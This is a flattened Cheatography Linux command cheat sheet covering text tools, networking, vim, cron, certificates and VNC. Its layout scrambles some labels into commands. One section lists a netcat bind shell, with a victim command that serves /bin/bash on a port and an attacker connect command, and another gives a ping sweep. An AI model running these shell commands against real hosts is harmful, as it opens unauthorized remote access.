Cheatography
                https://cheatography.com
            
        
        
    
                   
                            
                    
        
        
            
    
        
                            
        
                
        
            
                                
            
                
                                                | AWK | CAT | GREP
                        
                                    
                        | AWK
Find line number of IP
CAT
With line numbersawk '/197.128.145.39/{ print NR; exit }' ips.txt
 
cat -n file.txt
GREP 
grep "href=" index.html | cut -d"/" -f3 | grep icq.com | sort -u > icqserver.txt
Count occurences of \x in 1906.py 
cat 1906.py | grep -o \x |wc -l
Find line number of IP 
grep -n 197.128.145.39 ips.txt |  Network
                        
                                    
                        | Show all eth network interfaces, e.g. eth0, eth1... Restart Networkingdmesg | grep ^eth
 Whatportissudo service network-manager restart
 pip install whatportis
 CIDR Calculationwhatportis 21
 sudo apt-get install sipcalc
 sipcalc 192.168.1.0/24
 |  DIFF & NDIFF (File Comparison)
                        
                                    
                        | diff file1 file2
  (compare files line by line)
 ndiff file1 file2
  (compare 2 nmap scans for changes) |  Boot Process
                        
                                    
                        | 1. Power on 
2. BIOS 
3. MBR - 1st sector of HDD 
4. GRUB 
5. Kernel 
6. initramfs - Initial RAM disk 
7. init - /sbin/init (daemons and services) 
8. Command shell using getty 
9. GUI - X Windows
Disable services from loading on login systemctl disable apache2
  (disable apache from auto-starting on boot/login) |  Command Line Cheatsheet
                        
                                    
                        | Create and view interactive cheatsheets on the command-line!Set editor in path nano .bashrc
  (in your home directory)
 Install and use cheatexport EDITOR="/bin/nano"
 sudo pip install cheat
 cheat netstat
 
Cheatsheets are stored in ~/.cheat/
Edit a cheatsheet cheat -e foo
 |  |  | ASCII Table & Calculator
                        
                                    
                        | man ascii
  (show ascii table)
 bc
  (command line calculator) |  Permissions
                        
                                    
                        | Change ownership
Clone ownershipsudo chown username filename
 chown --reference=otherfile thisfile
 |  FIND
                        
                                    
                        | Case insensitive -iname
sudo find -iname fileorfoldername
 sudo find -iname fileorfoldername* 
 |  XARGS
                        
                                    
                        | Pingsweep
Run command against files from findecho 192.168.9.{200..250} | xargs -n 1 -P0 ping -c 1 | grep "bytes from" 
 find * | xargs exiftool
  (Run exiftool against all files in current directory and subdirectories) |  TREE (Directory Tree)
                        
                                    
                        | Show a directory tree
tree directoryname
 |  Monitoring & Processes
                        
                                    
                        | WATCH
watch ls
  (run ls every 2secs)
TOP top
  (view processes in detail)
 htop
  (better alternative)
CRON JOBS crontab -e
  (list and edit cronjobs) 
Generate your crontab line easily:
http://crontab-generator.org/ |  SSL Certificates
                        
                                    
                        | Follow instructions at - https://certbot.eff.org/
 To generate an auto-renewal cronjob - http://crontab-generator.org/
 
 EXAMPLE:
 crontab -e
 17 3 * * * /root/certbot-auto renew --quiet --no-self-upgrade
 |  Hotkeys
                        
                                    
                        | Nautilus (Switch views)CTRL+1
 CTRL+2
 CTRL+3
 CTRL+H (show hidden)
 CTRL+L (show location)
 
 Nautilus Graphical Mode Search
 ALT+F2
 
 Deleted files go to "~/.local/share/Trash/files/"
 Delete or CTRL+Delete = Move to Trash
 Shift+Delete = Permanent Delete
 |  |  | VI & VIM
                        
                                    
                        | I / INS = Insert Mode
 SELECTING TEXT
 v = select range
 V = select entire line
 d = delete selected text
 
 COPY/PASTE
 y = copy selection
 yy = copy line
 p = paste before cursor
 
 DELETE
 dd = delete line
 x = cut selected text
 d$ = delete from cursor to end of line
 
 UNDO / REDO
 u = undo last action
 CTRL+R = redo last action
 
 EXIT
 ZZ = save and quit
 :w = save
 :q! = quit without saving
 
 FIND AND REPLACE
 :%s/eth0/br0/g = find eth0 and replace with br0
 :%s#</font>#blah#g = find </font> and replace with blah
 |  NANO
                        
                                    
                        | Copy and Paste
ALT+6 and CTRL+U
Show line numbers nano -c filename 
 |  Output
                        
                                    
                        | To screen and file
command1 2>&1 | tee log.txt
 Append to screen and filels -al | tee file.txt
 command1 | tee -a log.txt
 |  Netcat Bind Shell
                        
                                    
                        | Victim
Attackernc -lvvp 2345 -e /bin/bash
 nc -vn 192.168.1.177 2345
 |  Base64 Encode & Decode
                        
                                    
                        | python
 "blah".encode('base64')
 "YXNjaWkxLnR4dA==".decode('base64')
 |  |  | IP Assignment
                        
                                    
                        | MANUAL
Note: Changes are nonpersistent. To make changes permanent, edit /etc/network/interfaces file.
 ifconfig eth0 192.168.72.100/24
  (configure IP)
 route add default gw 192.168.72.2
  (add gateway)
 echo nameserver 4.2.2.2 > etc/resolv.conf
  (add DNS to resolv.conf)
AUTO dhclient eth0
 ifconfig
 killall dhclient
 ps -ef | grep dhclient
 |  VNC Server
                        
                                    
                        | apt-get install tightvncserver
 vncserver
 
You will require a password to access your desktops... 
View only password? n
 netstat -antp | grep vnc
  (usually runs on port 5901) |  | 
            
                            
            
            
        
        
        
        
        
            
    
        
          
Created By
Metadata
Favourited By
Comments
No comments yet. Add yours below!
Add a Comment
Related Cheat Sheets
More Cheat Sheets by fred